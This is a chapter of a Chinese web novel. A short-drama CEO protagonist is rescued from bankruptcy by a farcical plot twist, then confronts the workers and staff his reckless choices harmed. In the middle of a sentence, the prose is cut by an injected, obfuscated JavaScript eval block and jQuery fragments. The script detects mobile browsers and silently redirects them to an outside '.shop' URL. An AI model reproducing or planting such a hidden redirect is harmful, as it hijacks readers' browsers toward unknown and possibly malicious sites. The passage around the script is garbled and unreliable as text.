早餐一如既往的丰盛，但对时煜川而言却味如嚼蜡。
精心烹饪的黑松露煎蛋被塞进嘴里，眼神早已不知道落到哪，衬衫还是昨天的那件，但已经皱皱巴巴，头发也没有打理，软趴趴地垂在额前，勉强遮住眼底两团乌青。
等会儿吃完这顿断头饭，他就得去公司面对被他搞砸的烂摊子，去签署那份让他背负上千亿债务的破产清算文件。
明芷喝着咖啡，也没有说话，一时间餐厅里安静得只能听见刀叉碰撞声和电视里传来的早间新闻。
突然，字正腔圆的播音腔高了八个度。
“插播一条最新消息。”
没有人停下，明芷往咖啡倒入牛奶，机械地咀嚼的人也没有抬头。
“本台刚刚收到的消息，针对时氏集团发动金融狙击的柴尔德集团掌权人，其私人专机于今晨飞往本市，原计划与时氏集团签署最终吞并协议”
时煜川手一抖，叉子掉在盘子上哐啷一声。
新闻继续。
“就在五分钟前，该掌权人在专机上收看早间新闻时，于一条街头采访的背景中，一眼认出了他带球跑了整整三年的小娇妻。”
“据知情人士透露，掌权人当场红了眼眶，盛怒之下撕毁了正要签署的唯一一份纸质版协议，并强行要求飞机掉头前往娇妻所在的偏远小城。”
“目前最新消息，专机在强行改变航线时遭遇雷暴天气，不幸卷入积雨云，连人带机离奇失踪。”
“受此消息影响，柴尔德集团群龙无首，股价盘中暴跌，其针对时氏集团的恶意收购行动已宣告全面终止。”
播报完毕，女主播低头整理了一下手里的稿件，恢复了平稳的语调：“接下来为您播报下一条本市交通新闻……”
餐厅里，刀叉碰撞声停了，咀嚼声停了，悬在半空的咖啡杯也定住了。
直到放在餐桌上的手机突然疯狂震动起来。
时煜川愣了半晌，手指颤了一下，才一点一点伸过去按下接听键。
电话那头琳达喜极而泣：“时总，您看新闻了吗？奇迹，这是奇迹啊！对方的资金全部撤出，我们的股票重新涨停，公司保住了！时总，您当初那么从容，一定是早就算到这一步了吧？”
时煜川一句话没说，挂断电话，但紧接着铃声再次响起。
“时总啊，昨天纯属意外，风险评估系统出问题了，现在系统已经调整好，您账户的所有风控警报都解除，额度已恢复。您看您什么时候有空再来我们网点指导一下工作？”
是昨天拒绝他抵押的银行行长。
时煜川慢慢把手机放下。
他呆呆地看着黑掉的手机屏幕，大理石的桌面倒映出他苍白的脸。
“呵……”
一声轻笑声从时煜川喉间溢出。
起初只是肩膀微微的耸动，接着笑声越来越大，在空旷的餐厅里回荡：“哈哈哈哈……保住了，公司保住了……听见了吗明大编剧，我，时煜川，是这个世界的男主！这个世界的男主……"
最后一声笑已经带上了哽咽。
时煜川把脸埋进掌心里，整个人蜷缩成一只虾，晨光中他在微微发抖。
他没有赢。
他心里比谁都清楚自己昨天的表现有多么像个小丑，他根本没有抵御住那场危机。
他的金手指是这个世界给的，他的成功是这个世界给的。
但他没想到，他连失败的自由都没有。
他之所以能坐在这里安然无恙，只是因为他头顶上顶着一个“男主角”的标签，以至于这个世界像施舍路边的乞丐一样，用红眼追妻这种烂到狗踩键盘写出来的理由让他获胜。
这算什么？
这就是男主角吗？
他没有自由意志，没有毁灭的权利，他所有的挣扎、痛苦、悔恨，他的生死和成败，全都在一个看不见的上帝之手的操控之下，他所做的一切随意得像是个笑话。
杯底轻轻磕在大理石桌面上，发出一声清脆的微响，一张纸巾递到了他的面前。
“走吧，我们出去透透气。”
车上，时煜川霜靠在车窗边一言不发，明芷低声吩咐了一句什么，他没有听清。
车子没有像往常一样直接驶向市中心的CBD，而是绕道从城市南郊的一大片工业园区穿过。
随着窗外逐渐靠近清晰的景象，时煜川怔住了。
一排排厂房静默地矗立着，厂门口的旗杆上还挂着半新的旗帜，正被风吹得猎猎作响，但没有灯光，没有烟尘，没有机器的轰鸣，紧闭的大门上贴着法院封条，只有一片看得人心惊的萧条死寂。
“这，这是什么地方？”
明芷轻轻叹了一口气，没有直接回答：“还记得你左滑掉的第一家公司是哪一家吗？”
手指插进头发，时煜川很努力地去回忆。是王氏？不对，王氏好像是第二家还是第三家，还是姓李？好像是有一个李氏被他嫌弃太土直接破产。左划右划太多次数，到后来一张张卡片他压根没有看清楚，就已经在手指间消失。
脑子像是被敲了一记闷棍，视线不由自主地再次飘向窗外。
车子开到了工厂区的正门，映入眼帘的是时煜川完全没有设想过的景象。
工厂门外的马路边坐满了人，但几乎没有什么声音，整个场面静得诡异，他们身上的工作服沾满油污，或蹲或站，几个中年男人抽着闷烟，烟灰掉在裤子上也没去掸，只是呆呆地看着地面，一个女工坐在编织袋上，孩子抱着一个睡着地孩子，时不时转头看看紧闭的厂门，脸上茫然。
厂房门口是一条横幅——
【赵氏企业恶意破产，还我血汗钱！还我活路！】
“你以为你滑掉的只是屏幕上的一张卡片吗？”明芷的声音很轻，也很清晰，“这些都是因为你随手一划而失去生计的家庭。在平板里，卡片不会显示他们的信息，在短剧里，永远不会有他们的台词和镜头，剧本永远不会写到他们。但是时煜川，这世界是有颗粒度的，是有这群要吃饭、要交房租、要养活家庭的活生生的人的。”
时煜川慌乱回过头，不敢再看窗外一眼，他说自己不是故意的，但是一想到外面一双双绝望到麻木的眼，喉咙里仿佛被撒了一大把碎玻璃，没有半分张口的力气，连每一次呼吸都带上了浓烈的血腥味。
他只能把头靠在车窗上，想用玻璃的凉意压住脑子里挥之不去的画面。
车子并没有因为时煜川的逃避停下，一直开到了这次出行的目的地，时氏集团总部大楼。
时煜川恨不得把自己缩进座椅里：“为什么要来这，公司并不需要我。”
明芷只扔下“跟我来”三个字，直接拽着他的衣领把他拉出车。
以往时煜川都是直达顶层的总裁办公室，这还是他第一次坐上普通电梯。‘
电梯上的数字跳动到“15”后停下。
门一开，黑咖啡、外卖和打印机过热的焦糊味混成一团，化作一股浑浊的热浪迎面扑来。
时煜川还没跟上节奏，又被这味儿一冲，倒退了两步：“这是什么地方？”
明芷指了指墙上“公关部”的牌子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721949|208707||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，还没有说话，一声咆哮从会议室没有关拢的门缝里飘出来。
“时总在发布会上说的那句‘付出惨痛的代价’到底怎么洗？这听起来太像□□放狠话了……对了，改成‘坚决维护企业合法权益的商业宣言’，法务部那边审核过了没有？”
“我当然知道时总昨天没有答出记者的问题……什么叫要真实？就说是时总为了拯救公司殚精竭虑没有休息才一时没回答上。再沟通，公关费可以再提，一定要让他们用我们的稿子，最新版再给各家媒体发一遍。”
话音未落，一个黑眼圈比熊猫还要重的员工从会议室跑出，手里拿着一沓文稿，摇醒一个瘫倒在座位上，正张着嘴睡得昏天黑地的同事。
被摇醒的人一惊，看起来人都没有完全清醒，已经打开电脑开始熟练的修改。
23层。
时煜川垫着脚迈过地上横七竖八地拉着各种临时排线，躲在角落，不敢发出一点声音。
第一眼是房间中央一台正冒着白烟的打印机。
几个IT小哥正满头大汗地抢修，却不敢有太大的动作，生怕不小心碰到了身边差不多有一人高的文件堆。
“别印了！主板熔了！”
“不行！五百亿现金流现在卡在第三方托管账户里，撤回申明不出我们下个月一起喝西北风！”
电梯数字继续攀升。
财务部里没有人咆哮，屏幕上全线飘红的股价照在每个人行尸走肉的脸上。
有人的键盘声停了，低声问了什么，主管连头都没抬，机械地盖着手里的红章：“继续冲账。今晚捋不清楚台账，明天证监局就来敲门了，大家准备一起跳楼吧。”
再往上，电梯门打开，时煜川已经不敢走出电梯，一个大推车先一步阻拦了他的视线。
几百个外卖盒和红牛罐散发着异味，保洁阿姨根本没看见被挤在角落的两人，自言自语：“造孽啊，这几天到底是发什么疯，大家连家都不回，老骨头都要断了。”
直到电梯一路升到了顶楼。
天台的风很大，时煜川踉跄着走到天台的栏杆边，双手抓着冰冷的金属栏杆，勉强喘出了一直压在胸口的那口气。
一路上，电梯越升越高，他的头越垂越低。
他无法面对因为他一句话而累得半死不活的员工。危机虽然随着“巨鳄坠机”而解除，但他之前在发布会上说出的话，他凭着短剧经验胡乱出的招数，并没有就此打上句号。
“明芷，我真的没想过会是这样。”
时煜川的声音被风吹得支离破碎。
“我演过的霸总在出手之后，只会有一行字，‘力挽狂澜，大获全胜’，接下来就是庆祝胜利的戏份。”
“短剧里没有冒烟的机器，没有凑不齐报表要跳楼的财务，也没有累断腰的保洁阿姨。我不知道镜头拍不到的地方，是这样的……”
他低下头，愣愣地看着自己的手。
他从没有想过要伤害任何人，但他也的确一次次忽略甚至嘲笑明芷的提醒，最终让这里的每一个人用血肉之躯为他的“霸道”买单。
“明芷，我不要再当霸总了，我没有这个能力，我也承担不了这么大的责任。”
“我的一句话，就能毁掉那么多人的人生，能把一整个大楼的人折腾得生不如死，我以后还能做什么。明芷我害怕，我真的好害怕。”
“你那么聪明，你懂得多，你看得透。”时煜川眼眶红了一圈，声音沙哑得几乎听不见，再没有半点之前妄自菲薄，“明老师，你能帮帮我吗？告诉我，我要怎么做。”